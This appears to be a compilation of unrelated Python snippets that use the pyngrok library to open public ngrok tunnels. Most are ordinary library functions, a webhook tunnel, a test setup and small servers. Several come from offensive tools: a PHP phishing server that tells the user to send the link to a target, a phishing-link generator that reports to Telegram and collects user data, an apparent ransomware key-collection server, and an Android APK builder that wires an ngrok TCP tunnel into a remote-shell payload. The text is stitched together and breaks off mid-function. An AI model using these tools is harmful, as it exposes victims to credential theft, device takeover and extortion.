async def __call__( self, fn: reviews.WebhookFn ) -> AsyncIterator[reviews.WebhookClientConfig]: try: from pyngrok import conf, ngrok except ImportError: raise MissingDependencyError( "Using ngrok webhook tunnel requires an extra dependency: " "run `pip install pyngrok` or `pip install kopf[dev]`. " "More: https://kopf.readthedocs.io/en/stable/admission/") if self.binary is not None: conf.get_default().ngrok_path = str(self.binary) if self.region is not None: conf.get_default().region = self.region if self.token is not None: ngrok.set_auth_token(self.token) # Ngrok only supports HTTP with a free plan; HTTPS requires a paid subscription. tunnel: Optional[ngrok.NgrokTunnel] = None loop = asyncio.get_running_loop() async with WebhookServer(addr=self.addr, port=self.port, path=self.path, insecure=True) as server: # TODO: inverse try & async for? try: async for client_config in server(fn): # Re-create the tunnel for each new local endpoint (if it did change at all). if tunnel is not None: await loop.run_in_executor(None, ngrok.disconnect, tunnel.public_url) parsed = urllib.parse.urlparse(client_config['url']) tunnel = await loop.run_in_executor( None, functools.partial(ngrok.connect, f'{parsed.port}', bind_tls=True)) # Adjust for local webhook server specifics (no port, but with the same path). # Report no CA bundle -- ngrok's certs (Let's Encrypt) are in a default trust chain. url = f"{tunnel.public_url}{self.path or ''}" logger.debug(f"Accessing the webhooks at {url}") yield reviews.WebhookClientConfig( url=url) # e.g. 'https://e5fc05f6494b.ngrok.io/xyz' finally: if tunnel is not None: await loop.run_in_executor(None, ngrok.disconnect, tunnel.public_url)
def get_ngrok_process(pyngrok_config=None): """ Get the current ``ngrok`` process for the given config's ``ngrok_path``. If ``ngrok`` is not installed at :class:`~pyngrok.conf.PyngrokConfig`'s ``ngrok_path``, calling this method will first download and install ``ngrok``. If ``ngrok`` is not running, calling this method will first start a process with :class:`~pyngrok.conf.PyngrokConfig`. Use :func:`~pyngrok.process.is_process_running` to check if a process is running without also implicitly installing and starting it. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional :return: The ``ngrok`` process. :rtype: NgrokProcess """ if pyngrok_config is None: pyngrok_config = conf.get_default() install_ngrok(pyngrok_config) return process.get_process(pyngrok_config)
def disconnect(public_url, pyngrok_config=None): """ Disconnect the ``ngrok`` tunnel for the given URL, if open. :param public_url: The public URL of the tunnel to disconnect. :type public_url: str :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional """ if pyngrok_config is None: pyngrok_config = conf.get_default() # If ngrok is not running, there are no tunnels to disconnect if not process.is_process_running(pyngrok_config.ngrok_path): return api_url = get_ngrok_process(pyngrok_config).api_url if public_url not in _current_tunnels: get_tunnels(pyngrok_config) # One more check, if the given URL is still not in the list of tunnels, it is not active if public_url not in _current_tunnels: return tunnel = _current_tunnels[public_url] logger.info("Disconnecting tunnel: {}".format(tunnel.public_url)) api_request("{}{}".format(api_url, tunnel.uri), method="DELETE", timeout=pyngrok_config.request_timeout) _current_tunnels.pop(public_url, None)
def get_tunnels(pyngrok_config=None): """ Get a list of active ``ngrok`` tunnels for the given config's ``ngrok_path``. If ``ngrok`` is not installed at :class:`~pyngrok.conf.PyngrokConfig`'s ``ngrok_path``, calling this method will first download and install ``ngrok``. If ``ngrok`` is not running, calling this method will first start a process with :class:`~pyngrok.conf.PyngrokConfig`. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional :return: The active ``ngrok`` tunnels. :rtype: list[NgrokTunnel] """ if pyngrok_config is None: pyngrok_config = conf.get_default() api_url = get_ngrok_process(pyngrok_config).api_url _current_tunnels.clear() for tunnel in api_request( "{}/api/tunnels".format(api_url), method="GET", timeout=pyngrok_config.request_timeout)["tunnels"]: ngrok_tunnel = NgrokTunnel(tunnel, pyngrok_config, api_url) _current_tunnels[ngrok_tunnel.public_url] = ngrok_tunnel return list(_current_tunnels.values())
def install_ngrok(pyngrok_config=None): """ Download, install, and initialize ``ngrok`` for the given config. If ``ngrok`` and its default config is already installed, calling this method will do nothing. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional """ if pyngrok_config is None: pyngrok_config = conf.get_default() if not os.path.exists(pyngrok_config.ngrok_path): installer.install_ngrok(pyngrok_config.ngrok_path) # If no config_path is set, ngrok will use its default path if pyngrok_config.config_path is not None: config_path = pyngrok_config.config_path else: config_path = conf.DEFAULT_NGROK_CONFIG_PATH # Install the config to the requested path if not os.path.exists(config_path): installer.install_default_config(config_path) # Install the default config, even if we don't need it this time, if it doesn't already exist if conf.DEFAULT_NGROK_CONFIG_PATH != config_path and \ not os.path.exists(conf.DEFAULT_NGROK_CONFIG_PATH): installer.install_default_config(conf.DEFAULT_NGROK_CONFIG_PATH)
def _get_public_url(self): conf.get_default().region = self.region if self.auth_token: ngrok.set_auth_token(self.auth_token) url = ngrok.connect(self.port).public_url return url
def _start_server(self): conf.get_default().region = self.region if self.authtoken: ngrok.set_auth_token(self.authtoken) active_tunnels = ngrok.get_tunnels() for tunnel in active_tunnels: public_url = tunnel.public_url ngrok.disconnect(public_url) url = ngrok.connect(addr=self.port, options={"bind_tls": True}) if self._code: print(f"Code Server can be accessed on: {url}") else: print(f"Public URL: {url}")
def setUp(self): self.config_dir = os.path.normpath( os.path.join(os.path.abspath(os.path.dirname(__file__)), ".ngrok2")) if not os.path.exists(self.config_dir): os.makedirs(self.config_dir) config_path = os.path.join(self.config_dir, "config.yml") conf.DEFAULT_NGROK_CONFIG_PATH = config_path self.pyngrok_config = conf.get_default() self.pyngrok_config.config_path = conf.DEFAULT_NGROK_CONFIG_PATH installer.DEFAULT_RETRY_COUNT = 1
def update(pyngrok_config=None): """ Update ``ngrok`` for the given config's ``ngrok_path``, if an update is available. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional :return: The result from the ``ngrok`` update. :rtype: str """ if pyngrok_config is None: pyngrok_config = conf.get_default() return process.capture_run_process(pyngrok_config.ngrok_path, ["update"])
def kill(pyngrok_config=None): """ Terminate the ``ngrok`` processes, if running, for the given config's ``ngrok_path``. This method will not block, it will just issue a kill request. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional """ if pyngrok_config is None: pyngrok_config = conf.get_default() process.kill_process(pyngrok_config.ngrok_path) _current_tunnels.clear()
def __init__(self, auth_token: Optional[str] = None, ngrok_bin: Optional[str] = None, region: Optional[str] = None, **kwargs): """ :param auth_token: Specify the ``ngrok`` auth token, enabling authenticated features (e.g. more concurrent tunnels, custom subdomains, etc.). :param ngrok_bin: By default ``pyngrok`` manages its own version of the ``ngrok`` binary, but you can specify this option if you want to use a different binary installed on the system. :param region: ISO code of the region/country that should host the ``ngrok`` tunnel (default: ``us``). """ from pyngrok import conf, ngrok super().__init__(**kwargs) conf.get_default().log_event_callback = self._get_event_callback() self._active_tunnels_by_url = {} if auth_token: ngrok.set_auth_token(auth_token) if ngrok_bin: conf.get_default().ngrok_path = os.path.expanduser(ngrok_bin) if region: conf.get_default().region = region
def ngrokConnect(update: Update, context: CallbackContext) -> None: if not checkId(update.message.chat_id): return global tunnel if len(ngrok.get_tunnels()) == 1: msg = "Already connected at: " + str(tunnel.public_url) update.message.reply_text(msg) elif len(ngrok.get_tunnels()) > 1: update.message.reply_text("Error! Multiple tunnels running!") else: conf.get_default().region = "eu" tunnel = ngrok.connect(4000, 'tcp', region="eu") process = ngrok.get_ngrok_process() update.message.reply_text("Connected at " + tunnel.public_url)
def get_version(pyngrok_config=None): """ Get a tuple with the ``ngrok`` and ``pyngrok`` versions. :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional :return: A tuple of ``(ngrok_version, pyngrok_version)``. :rtype: tuple """ if pyngrok_config is None: pyngrok_config = conf.get_default() ngrok_version = process.capture_run_process(pyngrok_config.ngrok_path, ["--version"]).split("version ")[1] return ngrok_version, __version__
def create_tunnel(): """Open ngrok tcp tunnel""" conf.get_default().region = NGROK_REGION ngrok.set_auth_token(NGROK_TOKEN) try: # Create new tunnel tunnel = ngrok.connect(TUNNEL_PORT, "tcp") server_host = CUSTOM_HOST or tunnel.public_url.replace("tcp://", "") print( f"{Clr.GREEN}[O] Successfully created ngrok tunnel{Clr.END} localhost:{TUNNEL_PORT} -> {server_host}" ) except: server_host = CUSTOM_HOST or "N/A" print( f"{Clr.RED}[!] Error has occurred on creating ngrok tunnel.{Clr.END}" ) return server_host
def server(): global port with open("logs/server.log", "w") as phplog: subprocess.Popen(("php", "-S", "localhost:" + port, "-t", temp), stderr=phplog, stdout=phplog) conf.get_default().region = region tunnel = ngrok.connect(port, "http", auth_token=token) tunnel = str(tunnel).replace("NgrokTunnel:", "").replace( "http://", "https://").replace('"', '').replace("->", "").replace( "https://localhost:" + port, "").replace(" ", "") print(Fore.RED + " [!] " + Fore.WHITE + "Your Ngrok Tunnel : " + tunnel) print(Fore.YELLOW + "\n [+] " + Fore.WHITE + "Please Send Link To Target" + "\n")
def set_auth_token(token, pyngrok_config=None): """ Set the ``ngrok`` auth token in the config file, enabling authenticated features (for instance, more concurrent tunnels, custom subdomains, etc.). If ``ngrok`` is not installed at :class:`~pyngrok.conf.PyngrokConfig`'s ``ngrok_path``, calling this method will first download and install ``ngrok``. :param token: The auth token to set. :type token: str :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional """ if pyngrok_config is None: pyngrok_config = conf.get_default() install_ngrok(pyngrok_config) process.set_auth_token(pyngrok_config, token)
def run(args=None, pyngrok_config=None): """ Ensure ``ngrok`` is installed at the default path, then call :func:`~pyngrok.process.run_process`. This method is meant for interacting with ``ngrok`` from the command line and is not necessarily compatible with non-blocking API methods. For that, use :mod:`~pyngrok.ngrok`'s interface methods (like :func:`~pyngrok.ngrok.connect`), or use :func:`~pyngrok.process.get_process`. :param args: Arguments to be passed to the ``ngrok`` process. :type args: list[str], optional :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional """ if args is None: args = [] if pyngrok_config is None: pyngrok_config = conf.get_default() install_ngrok(pyngrok_config) process.run_process(pyngrok_config.ngrok_path, args)
import os import shutil import subprocess import sys import time import urllib.request import zipfile import logging from pyngrok import conf, ngrok logging.basicConfig( filename= f"logs/{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.log", level=logging.INFO) conf.get_default().region = "in" def get_ip(): tunnel = ngrok.connect(25565, "tcp") ip = tunnel.public_url[6:] return ip def refresh(): tunnels = ngrok.get_tunnels() return tunnels
import ast from http.server import HTTPServer, BaseHTTPRequestHandler from pyngrok import ngrok, conf import sqlite3 from sqlite3 import Error conf.get_default().auth_token = "<NGROK_AUTH_TOKEN" #change this here, loggin to https://dashboard.ngrok.com/ and get your key. database = r"database.db" sql_create_table = """ CREATE TABLE IF NOT EXISTS CLIENT ( id integer, key text NOT NULL, date text, decrypted text ); """ def create_connection(db_file): conn = None try: conn = sqlite3.connect(db_file) return conn except Error as e: print(e) return conn def create_table(conn, create_table_sql): try: c = conn.cursor()
# or # conda install -c conda-forge pyngrok # more about it here https://pyngrok.readthedocs.io/en/latest/index.html#installation from pyngrok import conf, ngrok # configure tunnel location ex: india 'in' # tunnels at the same time # you get this authtoken by signing up # to ngrok portal here https://dashboard.ngrok.com/ # if you don't have AUTH_TOKEN your tunnel will be closed # after fixed amount of time # so auth token is recommended ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") conf.get_default().region = "in" # stopping monitoring thread as I don't need it # it eats up resource conf.get_default().monitor_thread = False # this code starts monitoring # if you don't need this don't use it # as it can eat some resources # def log_event_callback(log): # print(str(log)) # conf.get_default().log_event_callback = log_event_callback # to stop the monitoring
def create_data_link(self): banner() icons_path = "./Modules/icons/" print("\n\n") self.t_print.out(f'{LG} [>] Processing...') sleep(1) template_name = self.template_path.split("/")[2] self.t_print.out(f'{LG} [>] Checking port & protocol...') sleep(1) proto = self.def_proto if self.proto is None else self.proto try: self.t_print.out(f'{LG} [>] Starting PHP server on port{LW}' + f" ({self.def_port})") sleep(1) with open("./Logs/PHP-Log/PHP_SERVER_LOG.log", "w", encoding="UTF-8") as php_log: Popen(("php", "-S", f"localhost:{self.def_port}", "-t", self.template_path), stderr=php_log, stdout=php_log) self.t_print.out(f'{LG} [>] Generating the link...') conf.get_default().region = self.ngrok_region conf.get_default().auth_token = self.ngrok_auth_token link = ngrok.connect(self.def_port, proto).public_url link = str(link).replace("http://", "https://") local_mode = f"http://localhost:{self.def_port}" self.t_print.out(f'{LG} [>] All done!') win10_notify( "Server started!", f"PHP & Ngrok server successfully started on port ({self.def_port})", icon=f'{icons_path}green_check.ico', ) self.t_print.out( f'{LG} [>] Template Name : {LW}{template_name}') sleep(0.4) print("\n\n" + LG + " [>] Your Link : " + LW + link) sleep(0.4) print("\n" + LG + " [>] Localhost Mode : " + LW + local_mode + "\n") sleep(0.4) self.t_print.out( f'{LG} [>] Sending the link to your{LW} telegram{LG} ... ') try: self.tele_bot.sendMessage( f"ā New link created!\n\nš Template name : {template_name}\nš Link : {link}" + f"\nš Time : {self.time_opt.calendar} {self.time_opt.clock}" ) self.t_print.out( f'{LG} [>] The link have been sent to your {LW}telegram{LG}' + " successfully!\n") except Exception as _: self.t_print.out( ((((f'{LR} [>]{LY} Failed to send the link to your ' + LW) + "telegram ") + LY) + "!")) print("") print(LR + "\n --------------------------------- \n") print((((((( ((f'{LG} [!] You can close the server by pressing' + LW) + " [") + LR) + "Ctrl+C") + LW) + "]") + LG) + " ... \n")) self.get_user_data() except Exception as error: print("\n\n" + LR + " [#MainServer] ERROR : " + str(error)) self.tele_bot.sendMessage( f"ā Link expired! (Server error)\n\nš Template name : {template_name}" + f"\nš Time : {self.time_opt.calendar} {self.time_opt.clock}") self.kill_php_ngrok() except KeyboardInterrupt: self.tele_bot.sendMessage( f"ā Link expired! (Closed server)\n\nš Template name : {template_name}" + f"\nš Time : {self.time_opt.calendar} {self.time_opt.clock}") self.kill_php_ngrok()
from pyngrok import conf, ngrok # Add personal AUTH TOKEN here or in ngrok config's .yml conf.get_default().auth_token = "NGROK AUTH_TOKEN" conf.get_default().region = "eu" http_tunnel = ngrok.connect(5000) tunnels = ngrok.get_tunnels() ngrok_process = ngrok.get_ngrok_process() print(tunnels) try: # Block until CTRL-C or some other terminating event ngrok_process.proc.wait() except KeyboardInterrupt: print(" Shutting down server.") ngrok.kill()
def connect(addr=None, proto=None, name=None, pyngrok_config=None, **options): """ Establish a new ``ngrok`` tunnel for the given protocol to the given port, returning an object representing the connected tunnel. If a `tunnel definition in ngrok's config file <https://ngrok.com/docs#tunnel-definitions>`_ matches the given ``name``, it will be loaded and used to start the tunnel. When ``name`` is ``None`` and a "pyngrok-default" tunnel definition exists in ``ngrok``'s config, it will be loaded and use. Any ``kwargs`` passed as ``options`` will override properties from the loaded tunnel definition. If ``ngrok`` is not installed at :class:`~pyngrok.conf.PyngrokConfig`'s ``ngrok_path``, calling this method will first download and install ``ngrok``. If ``ngrok`` is not running, calling this method will first start a process with :class:`~pyngrok.conf.PyngrokConfig`. .. note:: ``ngrok``'s default behavior for ``http`` when no additional properties are passed is to open *two* tunnels, one ``http`` and one ``https``. This method will return a reference to the ``http`` tunnel in this case. If only a single tunnel is needed, pass ``bind_tls=True`` and a reference to the ``https`` tunnel will be returned. :param addr: The local port to which the tunnel will forward traffic, or a `local directory or network address <https://ngrok.com/docs#http-file-urls>`_, defaults to "80". :type addr: str, optional :param proto: The protocol to tunnel, defaults to "http". :type proto: str, optional :param name: A friendly name for the tunnel, or the name of a `ngrok tunnel definition <https://ngrok.com/docs#tunnel-definitions>`_ to be used. :type name: str, optional :param pyngrok_config: A ``pyngrok`` configuration to use when interacting with the ``ngrok`` binary, overriding :func:`~pyngrok.conf.get_default()`. :type pyngrok_config: PyngrokConfig, optional :param options: Remaining ``kwargs`` are passed as `configuration for the ngrok tunnel <https://ngrok.com/docs#tunnel-definitions>`_. :type options: dict, optional :return: The created ``ngrok`` tunnel. :rtype: NgrokTunnel """ if pyngrok_config is None: pyngrok_config = conf.get_default() if pyngrok_config.config_path is not None: config_path = pyngrok_config.config_path else: config_path = conf.DEFAULT_NGROK_CONFIG_PATH if os.path.exists(config_path): config = installer.get_ngrok_config(config_path) else: config = {} # If a "pyngrok-default" tunnel definition exists in the ngrok config, use that tunnel_definitions = config.get("tunnels", {}) if not name and "pyngrok-default" in tunnel_definitions: name = "pyngrok-default" # Use a tunnel definition for the given name, if it exists if name and name in tunnel_definitions: tunnel_definition = tunnel_definitions[name] addr = tunnel_definition.get("addr") if not addr else addr proto = tunnel_definition.get("proto") if not proto else proto # Use the tunnel definition as the base, but override with any passed in options tunnel_definition.update(options) options = tunnel_definition addr = str(addr) if addr else "80" if not proto: proto = "http" if not name: if not addr.startswith("file://"): name = "{}-{}-{}".format(proto, addr, uuid.uuid4()) else: name = "{}-file-{}".format(proto, uuid.uuid4()) logger.info("Opening tunnel named: {}".format(name)) config = {"name": name, "addr": addr, "proto": proto} options.update(config) api_url = get_ngrok_process(pyngrok_config).api_url logger.debug("Creating tunnel with options: {}".format(options)) tunnel = NgrokTunnel( api_request("{}/api/tunnels".format(api_url), method="POST", data=options, timeout=pyngrok_config.request_timeout), pyngrok_config, api_url) if proto == "http" and options.get("bind_tls", "both") == "both": tunnel = NgrokTunnel( api_request("{}{}%20%28http%29".format(api_url, tunnel.uri), method="GET", timeout=pyngrok_config.request_timeout), pyngrok_config, api_url) _current_tunnels[tunnel.public_url] = tunnel return tunnel
from pyngrok import conf, ngrok from . import ngrok_ext from os import getenv def log_event_callback(log): string = str(log) string2 = string[string.find('url="https'):string.find('url="https') + 40] if string2: string3 = string2 string4 = string3[4:] global string5 string5 = string4.replace('"', "") conf.get_default().log_event_callback = log_event_callback ngrok_authtoken = getenv("NGROK_AUTHTOKEN") if ngrok_authtoken is not None: ngrok.set_auth_token(ngrok_authtoken) port = getenv("PORT") ngrok_tunnel = ngrok.connect(port) @ngrok_ext.route("/") @validate_uuids(["usr"], required=True) @check_user_exists() async def index(): return await render_template("ngrok/index.html", ngrok=string5,
parser.add_argument('-p','--port',metavar="<Port>", type=str,help='Enter the Port') parser.add_argument('-o','--output',metavar="<Apk Name>", type=str,help='Enter the apk Name') parser.add_argument('-icon','--icon',help='Visible Icon',action='store_true') args = parser.parse_args() if float(platform.python_version()[:3]) < 3.6 and float(platform.python_version()[:3]) > 3.8 : print(stdOutput("error")+"\033[1mPython version should be between 3.6 to 3.8") sys.exit() if args.build: port_ = args.port icon=True if args.icon else None if args.ngrok: conf.get_default().monitor_thread = False port = 8000 if not port_ else port_ tcp_tunnel = ngrok.connect(port, "tcp") ngrok_process = ngrok.get_ngrok_process() domain,port = tcp_tunnel.public_url[6:].split(":") ip = socket.gethostbyname(domain) print(stdOutput("info")+"\033[1mTunnel_IP: %s PORT: %s"%(ip,port)) build(ip,port,args.output,True,port_,icon) else: if args.ip and args.port: build(args.ip,port_,args.output,False,None,icon) else: print(stdOutput("error")+"\033[1mArguments Missing") if args.shell: if args.ip and args.port: